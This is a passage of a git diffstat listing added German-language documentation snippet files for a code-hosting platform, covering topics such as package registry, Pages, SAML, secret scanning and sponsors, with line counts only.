 .../organizations/watch-team-options.md       |    9 +
 .../package_registry/about-docker-labels.md   |    9 +
 .../about-packaging-and-actions.md            |   35 +
 .../package_registry/actions-configuration.md |    9 +
 .../add-npmrc-to-repo-step.md                 |    9 +
 .../admins-can-configure-package-types.md     |   13 +
 ...pache-maven-snapshot-versions-supported.md |    9 +
 .../authenticate-packages-github-token.md     |    9 +
 .../package_registry/authenticate-packages.md |    9 +
 .../package_registry/authenticate-step.md     |    9 +
 ...uthenticate-to-container-registry-steps.md |   26 +
 .../authenticate_with_pat_for_v2_registry.md  |   15 +
 .../package_registry/checksum-maven-plugin.md |   32 +
 .../container-registry-benefits.md            |    9 +
 .../container-registry-example-hostname.md    |    9 +
 .../container-registry-ghes-beta.md           |   11 +
 ...er-registry-ghes-migration-availability.md |    9 +
 .../container-registry-hostname.md            |    1 +
 ...container-registry-migration-namespaces.md |    9 +
 ...ainer-registry-replaces-docker-registry.md |    9 +
 .../create-npmrc-owner-step.md                |   23 +
 .../package_registry/default-name.md          |    9 +
 .../docker_registry_deprecation_status.md     |   13 +
 .../enable-enterprise-github-packages.md      |   11 +
 .../package_registry/navigate-to-packages.md  |   10 +
 ...ext-steps-for-packages-enterprise-setup.md |    3 +
 .../no-graphql-to-delete-packages.md          |    9 +
 .../package_registry/package-page-info.md     |    9 +
 .../package-registry-with-github-tokens.md    |    1 +
 .../package-settings-from-org-level.md        |   11 +
 .../package-settings-from-user-level.md       |   13 +
 .../package-settings-option.md                |   11 +
 .../package_registry/packages-billing.md      |    1 +
 .../packages-classic-pat-only.md              |   13 +
 .../packages-cluster-support.md               |   13 +
 .../packages-from-code-tab.md                 |   10 +
 .../packages-ghae-release-stage.md            |   13 +
 .../packages-spending-limit-brief.md          |    9 +
 .../packages-spending-limit-detailed.md       |   13 +
 .../public-or-private-packages.md             |    9 +
 .../package_registry/publish_package.md       |   13 +
 .../repository_connection_steps.md            |   13 +
 .../package_registry/required-scopes.md       |    1 +
 .../verify_repository_field.md                |    9 +
 .../package_registry/viewing-packages.md      |    9 +
 .../visibility-and-access-permissions.md      |   19 +
 .../reusables/pages/about-front-matter.md     |    9 +
 .../pages/about-private-publishing.md         |   10 +
 .../data/reusables/pages/add-jekyll-theme.md  |    9 +
 .../data/reusables/pages/admin-must-push.md   |   13 +
 .../pages/best-with-supported-themes.md       |   10 +
 .../pages/build-failure-email-server.md       |    7 +
 .../pages/build-locally-download-cname.md     |    9 +
 .../reusables/pages/check-workflow-run.md     |   18 +
 .../data/reusables/pages/choose-visibility.md |   13 +
 .../pages/configure-publishing-source.md      |    9 +
 .../reusables/pages/contact-dns-provider.md   |    9 +
 .../data/reusables/pages/create-repo-name.md  |   11 +
 .../pages/decide-publishing-source.md         |    9 +
 .../pages/default-domain-information.md       |    9 +
 .../data/reusables/pages/emu-org-only.md      |    7 +
 .../pages/enforce-https-custom-domain.md      |   10 +
 .../pages/jekyll-install-troubleshooting.md   |   17 +
 .../reusables/pages/must-have-repo-first.md   |    9 +
 .../pages/navigate-publishing-source.md       |    9 +
 .../reusables/pages/navigate-site-repo.md     |    9 +
 .../reusables/pages/new-or-existing-repo.md   |   15 +
 .../pages/no_sensitive_data_pages.md          |    9 +
 .../org-owners-can-restrict-pages-creation.md |   13 +
 .../pages/pages-about-branch-source.md        |    9 +
 .../pages/pages-about-publishing-source.md    |   21 +
 .../pages/pages-custom-workflow-beta.md       |   17 +
 .../pages/private_pages_are_public_warning.md |   17 +
 .../pages/privately-publish-ghec-only.md      |   13 +
 .../data/reusables/pages/recommend-bundler.md |   12 +
 .../data/reusables/pages/remove-submodule.md  |   17 +
 .../reusables/pages/search-for-includes.md    |    9 +
 .../reusables/pages/secure-your-domain.md     |   11 +
 .../pages/settings-verify-domain-confirm.md   |   13 +
 .../pages/settings-verify-domain-setup.md     |   14 +
 .../data/reusables/pages/sidebar-pages.md     |    6 +
 .../data/reusables/pages/test-locally.md      |    9 +
 .../pages/theme-customization-help.md         |    9 +
 .../pages/twenty-minutes-to-publish.md        |    9 +
 .../pages/update_your_dns_settings.md         |    9 +
 .../de-DE/data/reusables/pages/visit-site.md  |   16 +
 .../reusables/pages/wildcard-dns-warning.md   |   13 +
 .../www-and-apex-domain-recommendation.md     |    9 +
 .../de-DE/data/reusables/pages/yaml-linter.md |    9 +
 .../de-DE/data/reusables/pages/yaml-rules.md  |   13 +
 .../de-DE/data/reusables/policies/abuse.md    |    9 +
 .../github-community-guidelines-and-terms.md  |    9 +
 .../data/reusables/policies/translation.md    |   11 +
 .../api-preview-warning.md                    |   13 +
 .../content-attachments-public-beta.md        |   13 +
 .../pre-release-program/corsair-preview.md    |   17 +
 .../expiring-user-access-tokens.md            |   17 +
 .../pre-release-program/starfox-preview.md    |   19 +
 .../reusables/products/product-roadmap.md     |    9 +
 .../products/which-product-to-use.md          |    9 +
 .../data/reusables/profile/access_org.md      |   10 +
 .../data/reusables/profile/access_profile.md  |   12 +
 .../profile/activity-overview-summary.md      |    9 +
 .../profile/enterprise_access_profile.md      |   10 +
 .../profile/navigating-to-profile.md          |    9 +
 .../profile/org_member_privileges.md          |   10 +
 .../data/reusables/profile/org_settings.md    |   10 +
 .../data/reusables/profile/profile-readme.md  |    9 +
 .../user_profile_page_block_or_report.md      |   10 +
 .../profile/user_profile_page_navigation.md   |    9 +
 .../access-collaboration-settings.md          |   10 +
 .../project-management/add-collaborator.md    |    9 +
 .../add-column-new-project.md                 |   10 +
 .../project-management/add-more-columns.md    |    9 +
 .../automate-project-board-permissions.md     |    9 +
 .../cascading-permissions.md                  |    9 +
 .../project-management/choose-template.md     |   10 +
 .../project-management/choose-visibility.md   |    2 +
 .../project-management/click-create-column.md |    9 +
 .../click-edit-sidebar-menu-project-board.md  |   10 +
 .../project-management/click-menu.md          |    9 +
 .../project-management/click-new-project.md   |   10 +
 .../project-management/collaborator-option.md |   10 +
 .../collaborator-permissions.md               |    9 +
 .../confirm-label-deletion.md                 |    9 +
 .../project-management/copy-project-boards.md |   10 +
 .../project-management/create-label.md        |    9 +
 .../create-project-button.md                  |    9 +
 .../create-project-name-description.md        |   10 +
 .../project-management/delete-label.md        |    9 +
 .../project-management/edit-in-project.md     |    9 +
 .../project-management/edit-label.md          |    9 +
 .../edit-project-columns.md                   |   13 +
 ...or-more-info-project-keyboard-shortcuts.md |    9 +
 .../label-color-randomizer.md                 |   10 +
 .../project-management/label-description.md   |   10 +
 .../reusables/project-management/labels.md    |   10 +
 .../link-repos-to-project-board.md            |    9 +
 .../project-management/linked-repositories.md |   10 +
 .../project-management/milestones.md          |   10 +
 .../project-management/name-label.md          |   10 +
 .../name-project-board-column.md              |   10 +
 .../project-board-import-with-api.md          |    9 +
 .../project-board-permissions.md              |   11 +
 .../project-board-visibility.md               |    9 +
 .../project-note-more-options.md              |   10 +
 .../project-progress-locations.md             |    9 +
 .../project-management/remove-collaborator.md |    9 +
 .../project-management/resync-automation.md   |    9 +
 .../project-management/save-label.md          |    9 +
 .../select-automation-options-new-column.md   |   10 +
 .../select-column-preset.md                   |   10 +
 .../project-management/select-project.md      |   10 +
 .../use-automated-template.md                 |    9 +
 .../reusables/projects/about-workflows.md     |   11 +
 .../reusables/projects/access-insights.md     |   11 +
 .../reusables/projects/access-workflows.md    |   13 +
 .../reusables/projects/add-draft-issue.md     |   12 +
 .../reusables/projects/add-item-bottom-row.md |   10 +
 .../reusables/projects/add-item-via-paste.md  |   12 +
 .../de-DE/data/reusables/projects/bulk-add.md |   14 +
 .../projects/classic-project-creation.md      |   17 +
 .../data/reusables/projects/create-project.md |   16 +
 .../reusables/projects/create-user-project.md |   16 +
 .../reusables/projects/disabled-projects.md   |    9 +
 .../projects/enable-basic-workflow.md         |   17 +
 .../reusables/projects/enable-migration.md    |    9 +
 .../reusables/projects/graphql-deprecation.md |   13 +
 .../data/reusables/projects/graphql-ghes.md   |    9 +
 .../data/reusables/projects/insights-alpha.md |   13 +
 .../projects/migrate-project-steps.md         |   15 +
 .../data/reusables/projects/new-field.md      |   14 +
 .../de-DE/data/reusables/projects/new-view.md |   10 +
 .../projects/open-command-palette.md          |    9 +
 .../data/reusables/projects/open-item-menu.md |    9 +
 .../data/reusables/projects/open-view-menu.md |   10 +
 ...owners-can-limit-visibility-permissions.md |    9 +
 .../reusables/projects/project-description.md |   21 +
 .../reusables/projects/project-settings.md    |   13 +
 .../reusables/projects/project_boards_old.md  |   19 +
 .../data/reusables/projects/projects-api.md   |   16 +
 .../data/reusables/projects/projects-beta.md  |   13 +
 .../reusables/projects/projects-filters.md    |   10 +
 .../reusables/projects/reopen-a-project.md    |   18 +
 .../data/reusables/projects/save-view.md      |   11 +
 .../data/reusables/projects/select-an-item.md |   13 +
 .../auto-merge-requires-branch-protection.md  |   13 +
 .../automatically-delete-branches.md          |    9 +
 .../close-issues-using-keywords.md            |    9 +
 .../pull_requests/code-review-limits.md       |    9 +
 ...ollect-co-author-commit-git-config-info.md |    9 +
 .../configure_pull_request_merges_intro.md    |    1 +
 ...ve-competing-line-change-merge-conflict.md |    9 +
 .../default-commit-message-squash-merge.md    |    9 +
 .../pull_requests/default_merge_option.md     |    5 +
 .../reusables/pull_requests/dismiss_review.md |    9 +
 .../pull_requests/issues-media-types.md       |   18 +
 .../pull_requests/issues-pr-shared-api.md     |    9 +
 .../pull_requests/large-search-workaround.md  |    9 +
 .../pull_requests/mark-ready-review.md        |    9 +
 .../pull_requests/merge-queue-beta.md         |   15 +
 .../merge-queue-merging-method.md             |   11 +
 .../pull_requests/merge-queue-overview.md     |   13 +
 .../pull_requests/merge-queue-references.md   |   10 +
 .../pull_requests/merge-queue-reject.md       |   10 +
 .../perms-to-open-pull-request.md             |   17 +
 .../pull_request_merges_and_contributions.md  |    7 +
 .../pull_requests/re-request-review.md        |   10 +
 .../pull_requests/rebase_and_merge_summary.md |    7 +
 .../rebase_and_merge_verification.md          |   11 +
 .../required-checks-must-pass-to-merge.md     |    9 +
 .../required-reviews-for-prs-summary.md       |    9 +
 .../pull_requests/resolving-conversations.md  |   21 +
 .../retargeted-on-branch-deletion.md          |    9 +
 .../pull_requests/retention-checks-data.md    |    9 +
 .../pull_requests/squash_and_merge_summary.md |    7 +
 .../pull_requests/you-can-auto-merge.md       |    9 +
 .../ghas-3.4-secret-scanning-known-issue.md   |   16 +
 .../releases/previous-release-tag.md          |   11 +
 .../about-scheduled-reminders-teams-orgs.md   |    9 +
 .../data/reusables/reminders/add-reminder.md  |   10 +
 .../data/reusables/reminders/approved-prs.md  |   10 +
 .../reusables/reminders/author-reviews.md     |   10 +
 .../reusables/reminders/authorize-slack.md    |   10 +
 .../reusables/reminders/create-reminder.md    |    9 +
 .../data/reusables/reminders/days-dropdown.md |   10 +
 .../de-DE/data/reusables/reminders/delete.md  |   11 +
 .../data/reusables/reminders/edit-existing.md |   10 +
 .../data/reusables/reminders/edit-page.md     |    9 +
 .../data/reusables/reminders/ignore-drafts.md |   10 +
 .../reusables/reminders/ignored-labels.md     |   10 +
 .../data/reusables/reminders/ignored-terms.md |   10 +
 .../de-DE/data/reusables/reminders/min-age.md |   10 +
 .../data/reusables/reminders/min-staleness.md |   10 +
 .../reusables/reminders/no-review-requests.md |   10 +
 .../reusables/reminders/real-time-alerts.md   |    9 +
 .../reusables/reminders/required-labels.md    |   10 +
 .../scheduled-reminders-limitations.md        |   10 +
 .../reminders/scheduled-reminders.md          |    9 +
 .../data/reusables/reminders/slack-channel.md |   10 +
 .../reusables/reminders/times-dropdowns.md    |   10 +
 .../data/reusables/reminders/tracked-repos.md |   13 +
 .../reusables/reminders/update-buttons.md     |   10 +
 .../repositories/a-vulnerability-is.md        |    9 +
 .../reusables/repositories/about-READMEs.md   |    9 +
 .../repositories/about-github-actions.md      |    9 +
 .../about-github-archive-program.md           |    9 +
 .../repositories/about-internal-repos.md      |    9 +
 .../accessing-repository-graphs.md            |   10 +
 .../accessing-repository-people.md            |   10 +
 .../repositories/action-root-user-required.md |    9 +
 .../repositories/actions-cache-list.md        |    9 +
 .../reusables/repositories/actions-ci-cd.md   |    9 +
 .../repositories/actions-env-var-note.md      |    9 +
 .../actions-scheduled-workflow-example.md     |   38 +
 .../reusables/repositories/actions-tab.md     |   10 +
 .../actions-workflow-status-badge-intro.md    |   11 +
 .../add-branch-protection-rules.md            |   12 +
 .../administrators-can-disable-issues.md      |    9 +
 .../allow-maintainers-user-forks.md           |   15 +
 .../anyone-can-view-anonymized-url.md         |   13 +
 .../archiving-repositories-recommendation.md  |    9 +
 .../repositories/asking-for-review.md         |   13 +
 .../assign-an-issue-as-project-maintainer.md  |    9 +
 .../auto-gen-release-public-beta.md           |    9 +
 .../repositories/autolink-references.md       |    9 +
 .../repositories/blocked-passwords.md         |   12 +
 .../repositories/branch-rules-example.md      |    9 +
 .../reusables/repositories/changed-files.md   |    2 +
 .../changed-repository-access-permissions.md  |    9 +
 .../repositories/choose-line-or-range.md      |   13 +
 .../repositories/choose-pr-review.md          |    9 +
 .../repositories/choose-repo-visibility.md    |   10 +
 .../repositories/click-collaborators-teams.md |    9 +
 .../repositories/click-dependency-graph.md    |   10 +
 .../reusables/repositories/commit-signoffs.md |   18 +
 .../reusables/repositories/copy-clone-url.md  |   16 +
 .../repositories/create-pull-request.md       |   10 +
 .../reusables/repositories/create-repo.md     |   10 +
 .../data/reusables/repositories/create_new.md |   10 +
 .../repositories/default-issue-templates.md   |    9 +
 ...forks_from_private_repositories_warning.md |   19 +
 .../repositories/dependency-review.md         |    9 +
 .../repositories/deploy-keys-write-access.md  |    9 +
 .../reusables/repositories/deploy-keys.md     |    1 +
 .../reusables/repositories/desktop-fork.md    |    9 +
 .../disabling-markdown-rendering.md           |   13 +
 .../data/reusables/repositories/edit-file.md  |   19 +
 .../repositories/edited-comment-list.md       |   18 +
 .../repositories/enable-security-alerts.md    |    3 +
 .../data/reusables/repositories/git-lfs.md    |    9 +
 .../github-reviews-security-advisories.md     |   11 +
 .../repositories/github-security-lab.md       |    9 +
 .../repositories/initialize-with-readme.md    |   10 +
 .../repositories/internal-repo-default.md     |   10 +
 .../repositories/issue-template-config.md     |    9 +
 .../repositories/legacy-issue-template-tip.md |   14 +
 .../repositories/list-closed-pull-requests.md |   10 +
 .../repositories/merge-all-pulls-together.md  |    9 +
 .../repositories/navigate-to-branches.md      |   10 +
 .../navigate-to-code-security-and-analysis.md |    6 +
 .../repositories/navigate-to-commit-page.md   |    2 +
 .../repositories/navigate-to-ghas-settings.md |    9 +
 .../reusables/repositories/navigate-to-job.md |   11 +
 .../repositories/navigate-to-manage-access.md |   10 +
 .../repositories/navigate-to-repo.md          |    1 +
 .../repositories/navigate-to-workflow.md      |   10 +
 .../repositories/new-pull-request.md          |   10 +
 .../data/reusables/repositories/new_issue.md  |   10 +
 .../repositories/open-with-github-desktop.md  |   12 +
 .../reusables/repositories/owner-drop-down.md |   10 +
 .../permissions-statement-read.md             |    9 +
 .../permissions-statement-write.md            |    9 +
 .../repositories/pr-title-description.md      |   10 +
 .../private_forks_inherit_permissions.md      |    9 +
 ...tected-branches-block-web-edits-uploads.md |   11 +
 .../reusables/repositories/reaction_list.md   |   50 +
 .../reusables/repositories/relative-links.md  |   19 +
 .../data/reusables/repositories/releases.md   |   10 +
 .../data/reusables/repositories/repo-name.md  |   10 +
 .../reusables/repositories/repo-size-limit.md |   10 +
 .../reported-content-resolved-tab.md          |   10 +
 .../repositories/repository-branches.md       |    6 +
 .../repositories/request-changes-tips.md      |   19 +
 .../request-security-advisory-cve-id.md       |   11 +
 .../repositories/return-to-source-diff.md     |   13 +
 .../reusables/repositories/review-changes.md  |   10 +
 .../review-policy-overlapping-commits.md      |    9 +
 .../repositories/review-pr-commits.md         |   10 +
 .../repositories/review-summary-comment.md    |   10 +
 .../reusables/repositories/section-links.md   |   11 +
 .../security-advisories-republishing.md       |    9 +
 .../security-advisory-admin-permissions.md    |   11 +
 ...isory-collaborators-public-repositories.md |    9 +
 .../security-advisory-edit-cwe-cve.md         |   10 +
 .../security-advisory-edit-description.md     |   10 +
 .../security-advisory-edit-details.md         |   10 +
 .../security-advisory-edit-severity.md        |   10 +
 .../security-alert-delivery-options.md        |    3 +
 .../security-alerts-x-github-severity.md      |    9 +
 .../repositories/security-guidelines.md       |    9 +
 .../select-items-in-issue-or-pr-list.md       |   10 +
 .../repositories/select-marketplace-apps.md   |   11 +
 .../repositories/sensitive-info-warning.md    |   22 +
 .../settings-sidebar-actions-general.md       |    1 +
 .../settings-sidebar-actions-runners.md       |    1 +
 .../repositories/sidebar-advisories.md        |   10 +
 .../sidebar-code-scanning-alerts.md           |   10 +
 .../repositories/sidebar-dependabot-alerts.md |    9 +
 .../repositories/sidebar-issue-pr.md          |   10 +
 .../reusables/repositories/sidebar-issues.md  |   11 +
 .../sidebar-moderation-reported-content.md    |    9 +
 .../repositories/sidebar-notifications.md     |    6 +
 .../data/reusables/repositories/sidebar-pr.md |   10 +
 .../repositories/sidebar-security.md          |   10 +
 .../repositories/sidebar-settings.md          |   10 +
 .../reusables/repositories/sidebar-wiki.md    |   10 +
 ...squash-and-rebase-linear-commit-history.md |    9 +
 .../repositories/start-line-comment.md        |   10 +
 .../repositories/submit-new-issue.md          |    9 +
 .../reusables/repositories/submit-review.md   |    9 +
 .../reusables/repositories/suggest-changes.md |    2 +
 .../repositories/task-list-markdown.md        |   17 +
 .../repositories/tracks-vulnerabilities.md    |   20 +
 .../repositories/transfer-repository-steps.md |   22 +
 .../two-dot-diff-comparison-example-urls.md   |    9 +
 .../type-issue-title-and-description.md       |   10 +
 .../repositories/type-line-comment.md         |   10 +
 .../repositories/valid-community-issues.md    |    9 +
 .../repositories/view-failed-job-results.md   |   11 +
 .../data/reusables/repositories/view-run.md   |   11 +
 .../repositories/view-specific-line.md        |   11 +
 .../repositories/workflow-notifications.md    |   13 +
 .../reusables/repositories/you-can-fork.md    |    9 +
 .../rest-api/always-check-your-limit.md       |   13 +
 .../rest-api/dotcom-only-guide-note.md        |   13 +
 .../saml/about-authorized-credentials.md      |    1 +
 .../reusables/saml/about-linked-identities.md |    3 +
 .../about-saml-access-enterprise-account.md   |    1 +
 .../saml/about-saml-enterprise-accounts.md    |    9 +
 ...ut-user-provisioning-enterprise-account.md |    9 +
 ...ae-enable-saml-sso-during-bootstrapping.md |    9 +
 .../data/reusables/saml/ae-uses-saml-sso.md   |    9 +
 .../assert-the-administrator-attribute.md     |    9 +
 .../reusables/saml/assign-yourself-to-okta.md |    9 +
 .../reusables/saml/authentication-loop.md     |   15 +
 .../reusables/saml/authorized-creds-info.md   |    7 +
 .../click-enterprise-account-application.md   |    9 +
 .../saml/click-person-revoke-credentials.md   |    9 +
 .../saml/click-person-revoke-identity.md      |    9 +
 .../saml/click-person-revoke-session.md       |    9 +
 .../saml/confirm-revoke-credentials.md        |    9 +
 .../reusables/saml/confirm-revoke-identity.md |    9 +
 ...tact-support-if-your-idp-is-unavailable.md |    9 +
 .../reusables/saml/create-a-machine-user.md   |    9 +
 ...t-time-earlier-than-notbefore-condition.md |   15 +
 .../reusables/saml/dotcom-saml-explanation.md |    9 +
 .../saml/external-group-audit-events.md       |   15 +
 .../saml/external-identity-audit-events.md    |   13 +
 .../de-DE/data/reusables/saml/ghec-only.md    |   13 +
 .../saml/ghes-you-must-configure-saml-sso.md  |    9 +
 .../saml/must-authorize-linked-identity.md    |    5 +
 .../saml/okta-ae-applications-menu.md         |   11 +
 .../reusables/saml/okta-ae-configure-app.md   |   11 +
 .../saml/okta-ae-provisioning-tab.md          |   11 +
 .../data/reusables/saml/okta-ae-sso-beta.md   |   17 +
 ...plications-click-ghec-application-label.md |    9 +
 .../saml/okta-browse-app-catalog copy.md      |   11 +
 .../reusables/saml/okta-browse-app-catalog.md |   11 +
 .../reusables/saml/okta-click-on-the-app.md   |    9 +
 .../saml/okta-configure-api-integration.md    |    9 +
 .../saml/okta-dashboard-click-applications.md |    9 +
 .../reusables/saml/okta-edit-provisioning.md  |   17 +
 .../saml/okta-enable-api-integration.md       |    9 +
 .../reusables/saml/okta-provisioning-tab.md   |   10 +
 .../reusables/saml/okta-save-provisioning.md  |    9 +
 .../saml/okta-sign-into-your-account.md       |    9 +
 .../data/reusables/saml/okta-sign-on-tab.md   |   11 +
 .../saml/okta-view-setup-instructions.md      |   11 +
 .../saml/outside-collaborators-exemption.md   |   13 +
 .../reusables/saml/recovery-code-access.md    |   21 +
 .../reusables/saml/recovery-code-caveats.md   |    9 +
 .../saml/removed-users-can-rejoin.md          |    9 +
 .../reusables/saml/resources-without-sso.md   |   15 +
 .../saml/revoke-authorized-credentials.md     |   10 +
 .../reusables/saml/revoke-saml-session.md     |   10 +
 .../reusables/saml/revoke-sso-identity.md     |   10 +
 .../data/reusables/saml/saml-accounts.md      |   15 +
 ...saml-disabled-linked-identities-removed.md |    9 +
 .../saml/saml-ghes-account-revocation.md      |   13 +
 .../reusables/saml/saml-identity-linked.md    |   10 +
 .../data/reusables/saml/saml-requires-ghec.md |    9 +
 .../data/reusables/saml/saml-session-oauth.md |    9 +
 .../saml/saml-single-logout-not-supported.md  |    9 +
 .../reusables/saml/saml-supported-idps.md     |   21 +
 .../saml/switching-from-org-to-enterprise.md  |    9 +
 .../data/reusables/saml/testing-saml-sso.md   |    9 +
 .../data/reusables/saml/use-classic-ui.md     |   11 +
 .../saml/view-authorized-credentials.md       |    9 +
 .../data/reusables/saml/view-saml-sessions.md |    9 +
 .../data/reusables/saml/view-sso-identity.md  |    9 +
 .../data/reusables/saml/when-you-enforce.md   |    9 +
 .../you-must-periodically-authenticate.md     |    1 +
 .../scim/after-you-configure-saml.md          |    9 +
 .../scim/changes-should-come-from-idp.md      |    9 +
 .../scim/dedicated-configuration-account.md   |    9 +
 .../reusables/scim/emu-scim-rate-limit.md     |   13 +
 .../reusables/scim/enterprise-account-scim.md |    1 +
 .../data/reusables/scim/ghes-beta-note.md     |   23 +
 .../reusables/scim/ghes-scim-beta-note.md     |   17 +
 .../reusables/scim/ghes-scim-idp-table.md     |   16 +
 .../scim/nameid-and-username-must-match.md    |    9 +
 .../data/reusables/scim/supported-idps.md     |    6 +
 .../de-DE/data/reusables/search/date_gt_lt.md |    9 +
 .../search/requested_reviews_search.md        |    9 +
 .../search/requested_reviews_search_tip.md    |   13 +
 .../data/reusables/search/required_login.md   |    9 +
 ...earch_issues_and_pull_requests_shortcut.md |    9 +
 .../data/reusables/search/syntax_tips.md      |    8 +
 .../search/you-can-search-globally.md         |    9 +
 .../reusables/secret-scanning/api-beta.md     |   17 +
 .../secret-scanning/beta-dry-runs.md          |   14 +
 .../data/reusables/secret-scanning/beta.md    |   21 +
 .../enterprise-enable-secret-scanning.md      |   10 +
 .../secret-scanning/fpt-GHAS-scans.md         |    9 +
 .../secret-scanning/partner-program-link.md   |   11 +
 .../partner-secret-list-private-repo.md       |  225 +++
 .../partner-secret-list-public-repo.md        |  130 ++
 .../push-protection-allow-email.md            |   10 +
 .../push-protection-allow-secrets-alerts.md   |    9 +
 .../secret-scanning/push-protection-beta.md   |   13 +
 ...-protection-choose-allow-secret-options.md |   12 +
 .../push-protection-command-line-choice.md    |    9 +
 .../push-protection-multiple-branch-note.md   |   16 +
 .../push-protection-overview.md               |    9 +
 .../push-protection-remove-secret.md          |    9 +
 .../push-protection-web-ui-choice.md          |   21 +
 .../secret-list-private-push-protection.md    |  104 ++
 .../secret-scanning-pattern-pair-matches.md   |    9 +
 .../secret-scanning-process.md                |    9 +
 .../disclosing-vulnerabilities.md             |    9 +
 .../security-advisory/global-advisories.md    |    9 +
 .../link-browsing-advisory-db.md              |    9 +
 .../repository-level-advisory-note.md         |   15 +
 .../security-advisory-overview.md             |    9 +
 ...urity-researcher-cannot-create-advisory.md |   13 +
 .../data/reusables/security-overview/beta.md  |   13 +
 .../information-varies-GHAS.md                |   10 +
 .../security-overview/permissions.md          |    1 +
 .../security/compliance-report-list.md        |   13 +
 .../security/compliance-report-screenshot.md  |    9 +
 .../security/displayed-information.md         |   16 +
 ...iew-of-phased-approach-for-ghas-rollout.md |   17 +
 ...-and-analysis-features-enable-read-only.md |   10 +
 ...nalysis-features-are-enabled-by-default.md |   13 +
 .../server-statistics/csv-download.md         |   10 +
 .../shortdesc/authenticating_github_app.md    |    9 +
 .../authenticating_with_github_apps.md        |    9 +
 .../shortdesc/authorizing_oauth_apps.md       |    9 +
 .../creating_custom_badges_github_apps.md     |    9 +
 .../creating_custom_badges_oauth_apps.md      |    9 +
 .../shortdesc/creating_github_apps.md         |    9 +
 .../shortdesc/creating_oauth_apps.md          |    9 +
 .../shortdesc/deleting_github_apps.md         |    9 +
 .../shortdesc/deleting_oauth_apps.md          |    9 +
 .../editing_permissions_for_github_apps.md    |    9 +
 ...identifying_and_authorizing_github_apps.md |    9 +
 .../data/reusables/shortdesc/iso_8601.md      |    9 +
 .../making-a-github-app-public-or-private.md  |    9 +
 .../shortdesc/modifying_github_apps.md        |    9 +
 .../shortdesc/modifying_oauth_apps.md         |    9 +
 .../shortdesc/permissions_github_apps.md      |    9 +
 .../shortdesc/rate_limits_github_apps.md      |    1 +
 .../shortdesc/suspending_a_github_app.md      |    9 +
 .../transferring_ownership_of_github_apps.md  |    9 +
 .../transferring_ownership_of_oauth_apps.md   |    9 +
 ...g_access_token_reques_errors_oauth_apps.md |    9 +
 ...authorization_request_errors_oauth_apps.md |    9 +
 .../understanding_scopes_for_oauth_apps.md    |    9 +
 .../reusables/sponsors/accept-legal-terms.md  |    9 +
 .../reusables/sponsors/add-active-triggers.md |   10 +
 .../reusables/sponsors/add-introduction.md    |   10 +
 .../data/reusables/sponsors/add-more-tiers.md |    9 +
 .../reusables/sponsors/add-payload-url.md     |   10 +
 .../data/reusables/sponsors/add-webhook.md    |   10 +
 .../reusables/sponsors/add-welcome-message.md |   10 +
 .../beta-note-sponsors-for-companies.md       |   13 +
 .../reusables/sponsors/billing-switcher.md    |   10 +
 .../data/reusables/sponsors/change-tier.md    |   10 +
 .../data/reusables/sponsors/choose-updates.md |   10 +
 .../data/reusables/sponsors/click-add-tier.md |   10 +
 .../reusables/sponsors/confirm-add-webhook.md |   10 +
 .../data/reusables/sponsors/contact-info.md   |    9 +
 .../sponsors/create-stripe-account.md         |   11 +
 .../sponsors/double-check-stripe-info.md      |    9 +
 .../reusables/sponsors/draft-new-update.md    |   10 +
 .../sponsors/edit-bank-information.md         |   10 +
 .../reusables/sponsors/edit-featured-work.md  |   13 +
 .../data/reusables/sponsors/edit-goal.md      |   10 +
 .../data/reusables/sponsors/edit-tier.md      |   10 +
 .../sponsors/enable-custom-amounts.md         |   12 +
 .../de-DE/data/reusables/sponsors/feedback.md |    9 +
 .../sponsors/github-contact-applicants.md     |    9 +
 .../reusables/sponsors/github-review-app.md   |    9 +
 .../sponsors/legal-additional-terms.md        |    9 +
 .../sponsors/manage-existing-webhooks.md      |   10 +
 .../reusables/sponsors/manage-sponsorship.md  |   10 +
 .../sponsors/manage-updates-for-orgs.md       |    9 +
 .../sponsors/matching-fund-eligible.md        |    9 +
 .../data/reusables/sponsors/maximum-tier.md   |    9 +
 .../data/reusables/sponsors/meet-the-team.md  |   15 +
 .../sponsors/navigate-to-github-sponsors.md   |    9 +
 .../sponsors/navigate-to-payouts-tab.md       |   10 +
 .../sponsors/navigate-to-profile-tab.md       |   10 +
 .../sponsors/navigate-to-sponsor-tiers-tab.md |   10 +
 .../sponsors/navigate-to-sponsored-account.md |    9 +
 .../navigate-to-sponsors-dashboard.md         |   12 +
 .../sponsors/navigate-to-sponsors-tab.md      |   10 +
 .../sponsors/navigate-to-webhooks-tab.md      |   10 +
 .../sponsors/navigate-to-your-goals-tab.md    |   10 +
 .../de-DE/data/reusables/sponsors/no-fees.md  |    9 +
 .../data/reusables/sponsors/no-refunds.md     |    9 +
 .../sponsors/opt-in-to-being-featured.md      |   10 +
 .../sponsors/org-sponsored-choose-updates.md  |   10 +
 .../sponsors/org-sponsors-release-phase.md    |   13 +
 .../data/reusables/sponsors/overview-tab.md   |   10 +
 .../reusables/sponsors/pay-prorated-amount.md |   10 +
 .../data/reusables/sponsors/payout-info.md    |    9 +
 .../sponsors/prorated-sponsorship.md          |    9 +
 .../data/reusables/sponsors/publish-goal.md   |   10 +
 .../sponsors/publish-sponsor-update.md        |    9 +
 .../reusables/sponsors/request-approval.md    |   10 +
 .../data/reusables/sponsors/retire-goal.md    |   12 +
 .../data/reusables/sponsors/retire-tier.md    |   10 +
 .../sponsors/review-and-publish-tier.md       |   10 +
 .../sponsors/review-tiers-to-select.md        |   10 +
 .../data/reusables/sponsors/save-profile.md   |    9 +
 .../reusables/sponsors/save-tier-draft.md     |   10 +
 .../data/reusables/sponsors/select-a-tier.md  |   10 +
 .../reusables/sponsors/select-goal-type.md    |   15 +
 .../sponsors/select-sponsorship-billing.md    |    1 +
 .../sponsors/send-update-to-sponsors.md       |   10 +
 .../data/reusables/sponsors/set-a-goal.md     |   10 +
 .../data/reusables/sponsors/settings-tab.md   |   10 +
 .../data/reusables/sponsors/short-bio.md      |   10 +
 .../reusables/sponsors/sponsor-account.md     |   10 +
 .../reusables/sponsors/sponsors-only-repos.md |    9 +
 .../sponsors/sponsors-updates-tab.md          |   10 +
 .../sponsors/sponsorship-dashboard.md         |   15 +
 .../reusables/sponsors/sponsorship-details.md |    9 +
 .../sponsorships-not-tax-deductible.md        |    9 +
 .../sponsors/stripe-supported-regions.md      |    9 +
 .../sponsors/tax-form-information-dev.md      |   12 +
 .../sponsors/tax-form-information-org.md      |    9 +
 .../data/reusables/sponsors/tax-form-link.md  |   11 +
 .../data/reusables/sponsors/tier-details.md   |   21 +
 .../sponsors/tier-price-description.md        |   10 +
 .../data/reusables/sponsors/tier-update.md    |   10 +
